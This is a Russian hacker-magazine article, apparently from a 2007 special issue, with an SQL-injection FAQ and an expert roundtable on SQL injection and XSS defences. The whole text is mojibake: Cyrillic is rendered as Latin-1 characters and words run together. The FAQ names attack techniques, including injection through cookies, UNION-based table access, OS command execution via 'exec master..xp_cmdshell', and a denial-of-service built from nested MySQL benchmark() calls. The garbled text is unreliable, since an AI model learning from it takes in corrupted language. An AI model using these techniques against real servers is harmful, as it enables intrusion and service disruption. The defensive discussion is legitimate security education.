àäðåñíîéñòðîêå íå áóäóò îòîáðàæàòüñÿ èìåíà ïåðåìåííûõ.Íåêîòîðûå ïðîãðàììèñòû ñ÷èòàþò, ÷òî òàê îíè ìîãóòîáåçîïàñèòü ñâîé ïðîåêò îò âñåõ áåä, è çàáèâàþòíà ïðîâåðêó ïåðåäàâàåìûõ îò ïîëüçîâàòåëÿäàííûõ. Ê òîìó æå ìíîãèå âàæíûå äàííûå îíè ñîõðàíÿþòâ cookies. Ìîæåøü îòêðûòü ïëþøêó, ñêàæåì,â CookieEditor è ïîïûòàòüñÿ âíåäðèòü â îäèíèç ïàðàìåòðîâ SQL Injection. Òàê ÷òî íå ñòîèò ïðåíåáðåãàòüïðîâåðêîé äàííûõ èç Cookies.×ÅÌ ÎÒËÈ×ÀÅÒÑß ÂÍÅÄÐÅÍÈÅ SQLINJECTION  3-ÅÉ È 4-ÎÉ ÂÅÐÑÈÈMYSQL?Îòëè÷èå â íîâûõ îïåðàòîðàõ, êîòîðûå ïîÿâèëèñüâ 4-îé âåðñèè.  òîì ÷èñëå îïåðàòîðUNION, áëàãîäàðÿ êîòîðîìó ìîæíî îáúåäèíÿòü çàïðîñûè ïîëó÷àòü äîñòóï êî âñåì òàáëèöàì ÁÄ ïîëüçîâàòåëÿ,÷òî ñóùåñòâåííî îáëåã÷àåò æèçíü ïðîãðàììèñòàì.Âçëîìùèêó æå ýòî äàåò äîïîëíèòåëüíóþâîçìîæíîñòü âíåäðåíèÿ SQL Injection. Ïîñìîòðèàðõèâ Bugtraq è óâèäèøü, ÷òî áîëüøèíñòâî íàéäåííûõîøèáîê òèïà SQL Injection îñíîâàíî íà èñïîëüçîâàíèèýòîãî îïåðàòîðà.ÊÀÊÎÉ ÑÅÐÂÅÐ ÁÄ ÍÀÄÅÆÍÅÅ?ËÅÃ×Å ËÈ ÂÍÅÄÐÈÒÜ SQL INJECTIONÄËß MS SQL SERVER?3-ÈÉ ÂÎÏÐÎÑ ÁÓÄÅÒ ÒÀÊÎÉ: ÈÌÅÅÒËÈ ÎÒÍÎØÅÍÈÅ SQL INJECTIONÊ ÍÀÄÅÆÍÎÑÒÈ ÑÅÐÂÅÐÀ È ÊÀÊÎÉÑÅÐÂÅÐ ÁÀÇ ÄÀÍÍÛÕ ÍÀÄÅÆÍÅÅ?ËÅÃ×Å ËÈ ÂÍÅÄÐÈÒÜ SQL INJECTIONÊÎÍÊÐÅÒÍÎ ÄËß MS SQL SERVER?SQL Injection íå èìååò îòíîøåíèÿ ê íàäåæíîñòèñåðâåðà ÁÄ, òàê êàê îñíîâíàÿ ïðîáëåìàíå â ñàìîì ñåðâåðå, à â ñöåíàðèÿõ, ÷åðåçîøèáêè â êîòîðûõ âíåäðÿåòñÿ SQL Injection. Íî ñòîèòçàìåòèòü, ÷òî ïîñëå óñïåøíîãî ïðèìåíåíèÿSQL Injection âîçìîæíîñòè ñåðâåðà ÁÄ èãðàþò âàæíóþðîëü, òàê êàê îò ýòîãî çàâèñèò âûãîäà, êîòîðóþìîæíî ïîëó÷èòü. Íàïðèìåð, ó MS SQL Server ìîæíîâûçâàòü âñòðîåííóþ ïðîöåäóðó execmaster..xp_cmdshell 'dir /p', è, åñëè àäìèíèñòðàòîðóïóñòèë ýòîò ìîìåíò èç âèäó, òû óâèäèøü ñîäåðæèìîåïàïêè, â êîòîðîé óñòàíîâëåí MS SQL Server. Ñïîìîùüþ ýòîé ïðîöåäóðû ìîæíî ìíîãî ÷åãî íàäåëàòü.Âñå çàâèñèò îò ïðàâ, ñ êîòîðûìè ðàáîòàåò MSSQL Server. Åñëè îêàæåòñÿ, ÷òî ýòî ïðàâà «SYS-TEM», òî ìîæíî «ïîðóòèòü» âåñü ñåðâåð.ÌÎÆÍÎ ËÈ Ñ ÏÎÌÎÙÜÞSQL INJECTION ÇÀÄÎÑÈÒÜ ÑÅÐÂÅÐ?Äà, ïðè÷åì ñëîæíîãî â ýòîì íè÷åãî íåò. MySQL åñòü ôóíêöèÿ BenchMark, êîòîðàÿïðåäíàçíà÷åíà äëÿ âû÷èñëåíèÿ îïðåäåëåííîãî âûðàæåíèÿçàäàííîå êîëè÷åñòâî ðàç. Ñèíòàêñèñ ôóíêöèèñëåäóþùèé: benchamrk(1000000, md5(current_-time)). Âû÷èñëÿåòñÿ 100000 ðàç md5 õýø òåêóùåãîâðåìåíè. Ýòî äîâîëüíî ðåñóðñîåìêàÿ îïåðàöèÿ, ïîýòîìóîòíèìàåò ìíîãî ïðîöåññîðíîãî âðåìåíè. Òåïåðüïðåäñòàâü, ÷òî áóäåò, åñëè óâåëè÷èòü êîëè÷åñòâîâû÷èñëåíèé, à åùå ëó÷øå — ñäåëàòü ôóíêöèþbenchmark âëîæåííîé. MySQL-ñåðâåð íà÷íåò àêòèâíîïîòðåáëÿòü ðåñóðñû ñèñòåìû, â ðåçóëüòàòå ÷åãîíà÷íóòñÿ æóòêèå òîðìîçà, è, êàê ñëåäñòâèå, ñåðâåðïåðåñòàíåò óñïåâàòü îáðàáàòûâàòü çàïðîñû. Äëÿ óñïåøíîãîïðîâåäåíèÿ ïîäîáíîé àòàêè íóæíî íàïèñàòüñöåíàðèé, êîòîðûé áóäåò ïîñòîÿííî ïîñûëàòüïîäîáíûå çàïðîñû.ÊÀÊ ÍÀÕÎÄÈÒÜ ÂÎÇÌÎÆÍÎÑÒÈÂÍÅÄÐÅÍÈß SQL INJECTION?ÅÑÒÜ ËÈ ÊÀÊÀß-ÍÈÁÓÄÜËÈÒÅÐÀÒÓÐÀ ÏÎ ÝÒÎÉ ÒÅÌÅ?Äëÿ íà÷àëà ñòîèò íàó÷èòüñÿ ïðîãðàììèðîâàòüíà îäíîì èç ÿçûêîâ, èñïîëüçóåìûõ äëÿðàçðàáîòêè web-ïðèëîæåíèé. Òîëüêî òàê òû ñìîæåøüíàó÷èòüñÿ íàõîäèòü îøèáêè â ÷óæèõ ïðîåêòàõ. Ðåêîìåíäóåòñÿíà÷àòü ñ PHP. Ñåé÷àñ ýòîò ÿçûê î÷åíü ïîïóëÿðåíè èñïîëüçóåòñÿ ïðàêòè÷åñêè âåçäå — íà÷èíàÿîò äîìàøíèõ ñòðàíè÷åê è çàêàí÷èâàÿ ñåðüåçíûìèïîðòàëàìè. Åñëè íåò æåëàíèÿ çàìîðà÷èâàòüñÿ ñPHP, òî ó÷è ASP. Òîæå äîâîëüíî ïîïóëÿðíûé ÿçûê.×òî êàñàåòñÿ êîíêðåòíûõ êíèã, òî â ñëó÷àå ñ PHP ðåêîìåíäóþïåðâûì äåëîì ïðî÷èòàòü êíèãó Ëàðè Óèëüÿìà. íåé îïèñûâàåòñÿ ïðîãðàììèðîâàíèå íà PHP 4ñ íóëÿ. Êíèãà íàïèñàíà ïðîñòûì ÿçûêîì.Çàòåì íåîáõîäèìî ðàçîáðàòüñÿ ñ ðàáîòîéñåðâåðîâ ÁÄ. Çíàÿ âñå âîçìîæíûå îïåðàòîðûè ôóíêöèè, òû ñìîæåøü èñïîëüçîâàòü èõ ïî íàçíà-÷åíèþ :). Ïî÷òè âñå êíèãè çàðóáåæíûõ àâòîðîâ ïîäîéäóòäëÿ íà÷èíàþùèõ — îíè íàïèñàíû ñîñâîéñòâåííîé åâðîïåéñêîé ïóíêòóàëüíîñòüþ (÷åãîíå âñåãäà ñêàæåøü î íàøèõ) è ïî÷òè âñåãäàâêëþ÷àþò â ñåáÿ áàçîâûå ñâåäåíèÿ.Ïîñëå ýòîãî ðåêîìåíäóþ îáðàòèòü âíèìàíèåíà êíèãè Ìèõàèëà Ôëåíîâà: «PHP ãëàçàìè õàêåðà»è «Web-ñåðâåð ãëàçàìè õàêåðà» ïîìîãóò ðàçîáðàòüñÿñ èñïîëüçîâàíèåì ðàçíûõ óÿçâèìîñòåé(â òîì ÷èñëå è SQL Injection) íà ïðàêòèêå.  íèõïðèâåäåíî î÷åíü ìíîãî ïðèìåðîâ, ïîýòîìó ÷èòàòüèíòåðåñíî.


72 SPECIAL DELIVERY ÑÏÅÖ 02-07S P E I A L Î Ï Ð Î ÑÀËÅÊÑÀÍÄÐÀÍÒÈÏÎÂÐóêîâîäèòåëü ïðîåêòà,àâòîð/ñîàâòîð/ðåäàêòîðìíîãî÷èñëåííûõ ñòàòåéâåäóùåãî îòå÷åñòâåííîãîïîðòàëà, ïîñâÿùåííîãîèíôîðìàöèîííîéáåçîïàñíîñòèSecurityLab.ruÂÀËÅÐÈßÊÎÌÈÑÑÀÐÎÂÀÈìååò ñòàòóñ MicrosoftStudent Partnerè ñåðòèôèêàòûñïåöèàëèñòà Microsoftè ðàçðàáîò÷èêà ðåøåíèéíà C# ïîä .NETÏÐÎÁËÅÌÛ Ñ SQL INJECTIONÏÎËÓ×ÈËÈ ØÈÐÎÊÓÞ ÎÃËÀÑÊÓÁËÀÃÎÄÀÐß ÓßÇÂÈÌÎÑÒÈ ÑÀÉÒÎÂ,ÒÀÊ ÊÀÊ WEB — ÌÀÑÑÎÂÛÉÏÐÎÄÓÊÒ. ÍÎ ÃÄÅ ÅÙÅ ÌÎÆÍÎÂÑÒÐÅÒÈÒÜ SQL INJECTION?ÌÈÕÀÈËÔËÅÍÎÂÑîçäàòåëü ñàéòàwww.vr-online.ru, àâòîð11 êíèã íà ðóññêîìè 4 íà àíãëèéñêîì ÿçûêåÀÍÒÎÍÊÀÐÏÎÂÑïåöèàëèñò â îáëàñòèèíôîðìàöèîííîéáåçîïàñíîñòè. Êðóãïðîôåññèîíàëüíûõèíòåðåñîâ: ñåòåâûå àòàêè,áåçîïàñíîñòü UNIXñèñòåì,áåçîïàñíîñòüáåñïðîâîäíûõ ñåòåéÊÐÈÑÊÀÑÏÅÐÑÊÈÊîìïüþòåðû ãðûçåò åùåñ òåõ äàâíèõ âðåìåí,êîãäà Ïðàâåö-8Äñ÷èòàëñÿ êðóòîé ìàøèíîé,à äèñêîâîä ñ ìîíèòîðîìáûëè âåðõîì ìå÷òàíèé.Îñâîèë êó÷ó ÿçûêîâè îïåðàöèîííûõ ñèñòåì,èç êîòîðûõ ðåàëüíîèñïîëüçóåò W2K, à ëþáèòFreeBSD 4.5ÂÀËÅÐÈß ÊÎÌÈÑÑÀÐÎÂÀ: Ãëàâíîå â SQL Injection íå òî, ÷òî ýòà óÿçâèìîñòüàêòèâíî ýêñïëóàòèðóåòñÿ â web-ïðèëîæåíèÿõ, à òî, ÷òî îíà ìîæåò áûòüèñïîëüçîâàíà àáñîëþòíî âî âñåõ ïðèëîæåíèÿõ, íàïèñàííûõ íà ëþáûõ ÿçûêàõïðîãðàììèðîâàíèÿ, â êîòîðûõ èñïîëüçîâàíû SQL-çàïðîñû (âåäü ïðàêòè÷åñêèâ êàæäûé èç íèõ ìîæíî âíåäðèòü îïàñíûå SQL-èíúåêöèè).ÀÍÒÎÍ ÊÀÐÏÎÂ: Î÷åâèäíî, âåçäå, ãäå òðåáóåòñÿ ââîä äàííûõ îò ïîëüçîâàòåëÿ,à áàçû äàííûõ èñïîëüçóþòñÿ â êà÷åñòâå backend'à äëÿ õðàíåíèÿ èíôîðìàöèè.Ýòî ìîæåò áûòü íå òîëüêî îíëàéí-ìàãàçèí èëè âåá-ôîðóì (õîòÿ ïîíÿòíî,÷òî www ÿâëÿåòñÿ íàèáîëåå øèðîêîé îáëàñòüþ ïðèìåíåíèÿ SQL Injection).Ýòî ìîæåò áûòü ëþáîå ïðèëîæåíèå, êîòîðîå õðàíèò èíôîðìàöèþ â áàçåäàííûõ è ïðåäîñòàâëÿåò èíòåðôåéñ äëÿ äîñòóïà ê íåé.ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ: Íàâåðíîå, âåçäå, ãäå ñòîèò SQL, îáðàáàòûâàþùèéíå îòôèëüòðîâàííûå ïîëüçîâàòåëüñêèå çàïðîñû. Ìíîãèå ïðîãðàììû, ðàáîòàþùèåñ áàçàìè äàííûõ, èñïîëüçóþò SQL. Êëèåíòñêîå ïðèëîæåíèå âçàèìîäåéñòâóåòñ ïîëüçîâàòåëåì è ãåíåðèðóåò sql-çàïðîñû, ïîñûëàÿ èõ ñåðâåðó. Âïðàâèëüíî ñïðîåêòèðîâàííîé ñèñòåìå ðàçãðàíè÷åíèå äîñòóïà ê äàííûì îñóùåñòâëÿåòñÿíà ñåðâåðå. Êëèåíòà ýòî âîîáùå íå êàñàåòñÿ, — îí âïðàâå ñëàòüëþáûå çàïðîñû. Íî äàëåêî íå âñå ðàçðàáîò÷èêè ýòî ïîíèìàþò (èëè ðåàëèçóþòäîëæíûì îáðàçîì).  ðåçóëüòàòå ÷àñòü (èëè âñå) ïðîâåðêè íà íàëè÷èå ó ïîëüçîâàòåëÿïðàâ âûïîëíÿòü äàííóþ sql-îïåðàöèþ îñóùåñòâëÿþòñÿ íà êëèåíòñêîéñòîðîíå, âíóòðè ïðîãðàììû. Îáû÷íûé ïîëüçîâàòåëü, äåéñòâèòåëüíî, íåìîæåò îáîéòè çàùèòó, òàê êàê íàòàëêèâàåòñÿ íà èíòåðôåéñ, íî õàêåð ëåãêî íàïðàâèòçàïðîñ ê sql-ñåðâåðó ïî Ñåòè è òîò ïîñëóøíî âûïîëíèò åãî ñî âñåìèâûòåêàþùèìè îòñþäà ïîñëåäñòâèÿìè (à èíîãäà íèêàêîé Ñåòè âîîáùå íåò,«sql-ñåðâåð» ïðåäñòàâëÿåò ñîáîé ëîêàëüíóþ ïðîãðàììó). Òåì íå ìåíåå, webèíòåðôåéñÿâëÿåòñÿ îäíèì èç ñàìûõ ïîïóëÿðíûõ ñïîñîáîâ âçàèìîäåéñòâèÿ ñáàçàìè äàííûõ (îñîáåííî óäàëåííûìè), è àêòóàëüíîñòü àòàê òèïà SQL Injectionâ îáîçðèìîì áóäóùåì ñíèæàòüñÿ íå áóäåò.


73ÊÀÊÈÅ ÑÏÎÑÎÁÛ ÁÎÐÜÁÛ Ñ SQLINJECTION ÍÀÈÁÎËÅÅ ÝÔÔÅÊÒÈÂÍÛ?XSS — ÐÅÀËÜÍÀß ÓÃÐÎÇÀ ÈËÈ ÑËÀÁÎÅÌÅÑÒÎ ÏÎÔÈÃÈÑÒÎÂ?ÂÀËÅÐÈß ÊÎÌÈÑÑÀÐÎÂÀ: Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ áîðüáûñ SQL-èíúåêöèÿìè: èñïîëüçîâàíèå ðàçëè÷íûõ ôóíêöèé (êàê âñòðîåííûõ ñèñòåìíûõ/ÿçûêàïðîãðàììèðîâàíèÿ, òàê è ñîçäàííûõ ïðîãðàììèñòîì) äëÿýêðàíèðîâàíèÿ ðàçëè÷íûõ «íåäîáðîêà÷åñòâåííûõ» ñèìâîëîâ â çàïðîñå; èñïîëüçîâàíèåìåòîäà ïåðåáîðà, êîòîðûé ïîçâîëÿåò êðîìå ñèìâîëîâ óäàëÿòü èðàçíûå óïðàâëÿþùèå ñëîâà è ïîñëåäîâàòåëüíîñòè; èñïîëüçîâàíèå ñïåöèàëüíûõôóíêöèîíàëüíûõ «îáåðòîê», áåðóùèõ íà ñåáÿ âñþ «ãðÿçíóþ» ðàáîòó; èñïîëüçîâàíèåòèïèçèðîâàííûõ ïàðàìåòðîâ.ÇÀÐÀÇÀ: Îñíîâíûå ìåòîäû áîðüáû ïðèìåðíî ñëåäóþùèå: èçáåãàòü èñïîëüçîâàíèÿsql-çàïðîñîâ, èñïîëüçîâàòü âìåñòî íèõ õðàíèìûå ïðîöåäóðû è ïðåäñòàâëåíèÿ;êîíòðîëèðîâàòü ëþáîé çàïðîñ ïîëüçîâàòåëÿ íà óðîâíå ïðîöåäóðïîëó÷åíèÿ äàííûõ (íàïðèìåð, ïðîöåäóðà ïîëó÷åíèÿ ïåðåìåííîé èç query_string);cîçäàâàòü ðîëè â áàçå äàííûõ, íàäåëåííûå ìèíèìàëüíûì íàáîðîìïîëíîìî÷èé, ÷òîáû äàæå èìåÿ ïîëíûé äîñòóï ê áàçå äàííûõ, ïîëüçîâàòåëüíå ìîã ïðîèçâåñòè «âðåäíûõ» äåéñòâèé; ìîæíî íàçâàòü åùå è ñðåäñòâàôèëüòðàöèè çàïðîñîâ, ôàéðâîëû íà óðîâíå ïðèëîæåíèé (áàç äàííûõ), íî âñåýòî — «íåïðàâèëüíûå» ñðåäñòâà.ÌÈÕÀÈË ÔËÅÍÎÂ: Ïðîâåðêà âñåõ ïàðàìåòðîâ, ÷åòêîå ðàçäåëåíèå ïðàâ äîñòóïàè, æåëàòåëüíî, íåñêîëüêî óðîâíåé çàùèòû (íàïðèìåð, ìîäóëè áåçîïàñíîñòè).Äîëæíî áûòü ðàçðåøåíî òîëüêî òî, ÷òî íåîáõîäèìî, à âñå îñòàëüíîåíóæíî çàïðåùàòü. Íàïðèìåð, åñëè ïîëüçîâàòåëü íå äîëæåí âèäåòü îïðåäåëåííûåòàáëèöû â áàçå äàííûõ, òî ó÷åòíàÿ çàïèñü, ïîä êîòîðîé âûïîëíÿþòñÿçàïðîñû äàííîãî ïîëüçîâàòåëÿ, íå äîëæíà èìåòü ïðàâ íà ýòè òàáëèöû. Îäíóåäèíñòâåííóþ çàùèòó îáîéòè äîñòàòî÷íî ïðîñòî, à åñëè èñïîëüçóåòñÿ ñðàçóíåñêîëüêî ìåòîäîâ, òî ñðàáîòàåò äðóãîé óðîâåíü áåçîïàñíîñòè.ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ: Ðàçãðàíè÷åíèå äîñòóïà ê äàííûì íà óðîâíå SQL-ñåðâåðà.Íî ïðîáëåìà çäåñü â òîì, ÷òî ñ òî÷êè çðåíèÿ SQL-ñåðâåðà, îáðàáàòûâàþùåãîçàïðîñû web-ñåðâåðà, ïîä êîòîðûì «âðàùàåòñÿ» ñàéò, íàïèñàííûé íàPHP èëè Perl'å, âñå çàïðîñû ðàâíîçíà÷íû, ïîñêîëüêó àâòîðèçàöèÿ ïîëüçîâàòåëåé(äàæå åñëè îíà è ïðåäóñìîòðåíà), êàê ïðàâèëî, îñóùåñòâëÿåòñÿ íàPHP. Ïðîñòî â SQL-áàçå õðàíÿòñÿ ïîëüçîâàòåëè ñ ïàðîëÿìè, ïðîâåðÿåìûìèPHP-ñêðèïòîì, à äëÿ SQL åñòü òîëüêî îäèí ïîëüçîâàòåëü — ñàì PHP-ñêðèïò.Ïðè÷åì PHP — íå ñàìûé áåçîïàñíûé ÿçûê ïðîãðàììèðîâàíèÿ (êàê, âïðî÷åì,è Perl). Îí äîïóñêàåò èíòåðïîëÿöèþ ñòðîê è âîîáùå ëþáèò ðàçâîäèòü ñàìîäåÿòåëüíîñòü.Íà Ñè íàïèñàòü áåçîïàñíûé ñàéò íàìíîãî ïðîùå, íî òóò óæåâîçíèêàþò ïðîáëåìû èíîãî ðîäà: ïåðåíîñèìîñòü, ïåðåïîëíåíèå áóôåðîâ(ôóíäàìåíòàëüíàÿ ïðîáëåìà Ñè) è ò.ï. Òàê ÷òî îñòàåòñÿ íàíèìàòü ãðàìîòíûõïðîãðàììèñòîâ, èìåþùèõ ðåàëüíûé îïûò, è äàâàòü èì ðåàëüíûå ñðîêè äëÿâûïîëíåíèÿ çàêàçà, ïîñêîëüêó ïîäàâëÿþùåå áîëüøèíñòâî îøèáîê ñîâåðøàåòñÿèç-çà íåâíèìàòåëüíîñòè, èçëèøíåé ñóåòëèâîñòè è íåðâîçíîñòè, âûçâàííîéíàâèñàþùèì äåäëàéíîì.ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Çàùèòà! Êàê íà óðîâíå êîäà, òàê è íà óðîâíå ñåðâåðà.Ê ñîæàëåíèþ, ñïîñîáîâ ýêñïëóàòàöèè SQL-èíúåêöèè — îãðîìíîå ìíîæåñòâîè îøèáàþòñÿ äàæå îïûòíûå ïðîãðàììèñòû. Ïîýòîìó âñåãäà íåîáõîäèìîèñïîëüçîâàòü äîïîëíèòåëüíûå ñðåäñòâà çàùèòû íà ñåðâåðå — ìèíèìèçàöèÿïðèâèëåãèé, web-IDS-ñèñòåìû (òèïà mod_security èëè secureIIS).ÂÀËÅÐÈß ÊÎÌÈÑÑÀÐÎÂÀ: Íà ìîé âçãëÿä, ïðîáëåìà XSS äîñòàòî÷íîñåðüåçíà è ðàñïðîñòðàíåíà, ÷òîáû íå ïðèíèìàòü åå âî âíèìàíèå. È ìàñøòàáûýòîé «ýïèäåìèè» çàñòàâëÿþò ãîâîðèòü îá XSS êàê î çíà÷èòåëüíîé óãðîçå, à íåêàê îá î÷åðåäíîé PR-ïðèäóìêå.ÇÀÐÀÇÀ: Îäíà èç ìîèõ ïåðâûõ ñòàòåé, ïîñâÿùåííûõ ïðîáëåìàì áåçîïàñíîñòè,íàçûâàëàñü «Åùå ðàç î âçëîìàõ HTML-÷àòîâ» (www.security.nnov.ru/articles/3APA3Ahtml.asp).Áûëà íàïèñàíà, åñëè íå îøèáàþñü, â 1998 ãîäó è ñîäåðæàëàðåàëüíûå ïðèìåðû ìåæñàéòîâîãî ñêðèïòèíãà. Òåðìèíà òàêîãî â òî âðåìÿåùå íå ñóùåñòâîâàëî, è âîîáùå, ýòà ïðîáëåìà äîñòàòî÷íî äîëãî íå ñ÷èòàëàñüïðîáëåìîé áåçîïàñíîñòè. ß ïîìíþ ïðîäîëæèòåëüíûé äèàëîã ñ AlephOne (îñíîâàòåëü è ïåðâûé ìîäåðàòîð Bugtraq) íà ýòó òåìó, íî óáåäèòü åãî âðåàëüíîñòè óãðîçû ìíå òîãäà òàê è íå óäàëîñü. Òîëüêî â 2001 ãîäó îøèáêèCSS/XSS íà÷àëè âîñïðèíèìàòüñÿ êàê ïðîáëåìû áåçîïàñíîñòè, è ïîÿâèëñÿñàì òåðìèí «Cross-Site Scripting».ÇÀÐÀÇÀÐóêîâîäèòåëü ñëóæáûïîääåðæêèïîëüçîâàòåëåé äîâîëüíîêðóïíîãî ISP. Õîááè —ðàçðàáîòêà ïðîãðàììíîãîîáåñïå÷åíèÿ, â ÷àñòíîñòè,ïðîåêò 3proxy (www.security.nnov.ru/soft/3proxy/)


74 SPECIAL DELIVERY ÑÏÅÖ 02-07ÊÀÊÈÅ ÑÏÎÑÎÁÛ ÁÎÐÜÁÛ ÑÍÀÈÁÎËÅÅ ÝÔÔÅÊÒÈÂÍÛ?XSSÌÈÕÀÈË ÔËÅÍÎÂ: Ñâåðõóãðîçîé ÿ áû ýòó àòàêó íå íàçâàë. Äà è SQL Injection òîæå íåëüçÿ îòíåñòèê ñâåðõóãðîçå. Âñå ýòî íåâíèìàòåëüíîñòü èëè ëàìåðñòâî ïðîãðàììèñòîâ. Åñëè ïåðâîå, òî ýòî íå ñòðàøíî,ïîòîìó ÷òî ïðîãðàììèñò, äîïóñòèâøèé îøèáêó, áûñòðî èñïðàâèò åå ñàì. À âîò ëàìåð, êîòîðûé íå õî-÷åò ó÷èòüñÿ, ïîñòðàäàåò íàìíîãî ñèëüíåå. Ãëÿäÿ íà êîëè÷åñòâî äûðÿâûõ ñàéòîâ â èíòåðíåòå, ïîíèìàåøü,÷òî êîëè÷åñòâî ïðîãðàììèñòîâ ñîêðàùàåòñÿ, à ëàìåðîâ — ðàñòåò.ÀÍÒÎÍ ÊÀÐÏÎÂ: Ëþáàÿ ïðîáëåìà áåçîïàñíîñòè âîçíèêàåò ïîä âîçäåéñòâèåì ÷åëîâå÷åñêîãî ôàêòîðà.Áåçîïàñíîñòü ñèñòåìû âî ìíîãîì îïðåäåëÿåòñÿ åå êà÷åñòâîì. Åñëè ãîâîðèòü î ïðîãðàììíûõ ñðåäñòâàõ,òî ýòî êà÷åñòâî êîäà. Ïðîãðàììèñò íåäîñìîòðåë, íåäîäóìàë, ñîâåðøèë ïàðó èçâåñòíûõ îøèáîê — ýòîìîæåò áûòü êàê ïîôèãèçì, òàê è íèçêàÿ êâàëèôèêàöèÿ. Ó÷èòûâàÿ ðàñòóùóþ ïîïóëÿðíîñòü XSS-àòàê,ÿ áû íå íàçâàë ýòî ñëàáûì ìåñòîì ïîôèãèñòîâ, âî âñÿêîì ñëó÷àå, òîãäà áû íàì ïðèøëîñü ïðèçíàòü, ÷òîïîôèãèñòîâ â ìèðå î÷åíü è î÷åíü ìíîãî :).ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ: XSS/Cross-Site Scripting ïîÿâèëñÿ, êîãäà Netscape äîáàâèëà â áðàóçåð ïîääåðæêóJavaScript. À ýòî íå â÷åðà è íå ïîçàâ÷åðà, à ìíîãî ëåò íàçàä áûëî. È ñåé÷àñ áåç ñêðèïòîâûõ ÿçûêîâ íèêóäà.Ñòîèò òîëüêî îòêëþ÷èòü èõ ïîääåðæêó, êàê çíà÷èòåëüíàÿ ÷àñòü ñàéòîâ îòîáðàæàåòñÿ íåâåðíî èëèâîîáùå ïåðåñòàåò ðàáîòàòü. À ìîäåëü (íå)áåçîïàñíîñòè âèðòóàëüíûõ ìàøèí äàâíî ñòàëà ïðèò÷åéâî ÿçûöåõ, è åùå íè îäíîìó ïðîèçâîäèòåëþ íå óäàëîñü èçáåæàòü îøèáîê ðåàëèçàöèè.  ëó÷øåì ñëó-÷àå, çëîóìûøëåííèê ïîëó÷àåò äîñòóï ê cookies'àì (õðàíÿùèì ìàññó êîíôèäåíöèàëüíîé èíôîðìàöèè). õóäøåì æå — ïîëíîñòüþ çàõâàòûâàåò óïðàâëåíèå óäàëåííîé ìàøèíîé. Ýòî âïîëíå ñåðüåçíàÿ óãðîçà,ñ êîòîðîé íåîáõîäèìî ñ÷èòàòüñÿ.ÂÀËÅÐÈß ÊÎÌÈÑÑÀÐÎÂÀ: Èç-çà áîëüøîé ðîäñòâåííîñòè àòàê SQL Injection è XSS îáùèå êîíöåïöèèìåòîäîâ áîðüáû ñ íèìè òàêæå î÷åíü ïîõîæè. Âñå òà æå ôèëüòðàöèÿ (âñòðîåííûìè ñðåäñòâàìè èëè ñîçäàííûìèñâîèìè ñèëàìè), èñïîëüçîâàíèå «ñòðîãèõ» èìåí è òàê äàëåå. È â äîïîëíåíèå… âêëþ÷àé ìîçãè :).ÇÀÐÀÇÀ: Ê ñîæàëåíèþ, åäèíñòâåííûé äåéñòâåííûé ñïîñîá áîðüáû — ïîëíîñòüþ îòêàçàòüñÿ îò òîãî,÷òîáû äàòü ïîëüçîâàòåëþ âîçìîæíîñòü èñïîëüçîâàòü ïðÿìî èëè êîñâåííî êàêèå-ëèáî òýãè. Íàïðèìåð,ìîæíî ôèëüòðîâàòü ëþáûå HTML-òýãè íà óðîâíå ôóíêöèé ðàçáîðà çàïðîñà è ñëóæåáíûõ çàãîëîâêîâ.Íî äàæå òàêîé ñïîñîá íå äàåò 100% ãàðàíòèè çàùèòû.ÌÈÕÀÈË ÔËÅÍÎÂ: Íóæíî âíèìàòåëüíî ïèñàòü êîä è òåñòèðîâàòü âñå ïî íåñêîëüêó ðàç. Ëåò ïÿòü íàçàääàæå â íàøåé ñòðàíå ðàçíûå ôèðìû äîñòàòî÷íî ÷àñòî îáðàùàëèñü ê ñïåöàì ïî áåçîïàñíîñòè äëÿòåñòèðîâàíèÿ ñâîèõ ñèñòåì. Ìíå ñàìîìó ïðèõîäèëîñü èíîãäà òåñòèðîâàòü. À çà ïîñëåäíèå äâà ãîäà óìåíÿ áûë òîëüêî îäèí ïîäîáíûé çàêàç. Îäíàæäû ÿ íàøåë äûðó íà ñàéòå è ïîêàçàë åå âëàäåëüöó, ïîñëåýòîãî îí ïîïðîñèë ïðîòåñòèðîâàòü åùå îäèí åãî ñàéò. Ñåé÷àñ ÷àùå îáðàùàþòñÿ ñ ïðîñüáîé âçëîìàòü,íî ÿ âçëîìàìè íå çàíèìàþñü. ß íå äóìàþ, ÷òî òîëüêî êî ìíå ñòàëè ìåíüøå îáðàùàòüñÿ. Ïÿòüëåò íàçàä õàêåðû äàæå ïûòàëèñü îòêðûâàòü ôèðìû ïî òåñòèðîâàíèþ áåçîïàñíîñòè. È â íà÷àëå áèçíåñâðîäå ïîøåë, íî ïîòîì óìåð. Èëè õàêåðû âûïîëíÿëè ñâîè îáÿçàííîñòè ïëîõî, èëè çàêàç÷èêè íåóâèäåëè ïðåèìóùåñòâ.Òåñòèðîâàòü íóæíî è ñàéòû, è ïðîãðàììû. È ëó÷øå, åñëè ýòî áóäóò íåçàâèñèìûå ëþäè. Ñêîëüêî õàêåðîâñìîãëî áû íàïðàâèòü ñâîè óñèëèÿ â ìèðíîå ðóñëî! Îêîëî ãîäà íàçàä ìíå ïðåäëàãàëè òåñòèðîâàòüáåçîïàñíîñòü â Agnitum è, õîòÿ ÿ îòêàçàëñÿ, îáùåíèå ñ ðåáÿòàìè ïîêàçàëî, ÷òî íå çðÿ Outpost Firewall —îäèí èç ëó÷øèõ, ïîòîìó ÷òî ïîäõîä ïðàâèëüíûé. ß ñ óäîâîëüñòâèåì äîâåðþ áåçîïàñíîñòü ñâîåãî êîìïüþòåðàñåòåâîìó ýêðàíó, êîòîðûé òåñòèðóåòñÿ, áûñòðî ðàçâèâàåòñÿ è îòñëåæèâàåò òåíäåíöèè â ìèðåáåçîïàñíîñòè. Åñëè áû âñå ïðîãðàììèñòû òàê ðàáîòàëè, òî êîëè÷åñòâî âçëîìîâ ñîêðàòèëîñü áû â ðàçû.ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ: Îòêëþ÷èòü ïîääåðæêó Java è Êî â áðàóçåðå, à åñëè ýòî íåâîçìîæíî, èñïîëüçîâàòüíàèáîëåå àêêóðàòíî íàïèñàííûå áðàçóåðû (íàïðèìåð, Îïåðó). IE äûðÿâ, êàê âåäðî áåç äíà.  ÃîðÿùåìËèñå â ïîñëåäíåå âðåìÿ íàáëþäàåòñÿ íåïðåêðàùàþùèéñÿ ðîñò óÿçâèìîñòåé, 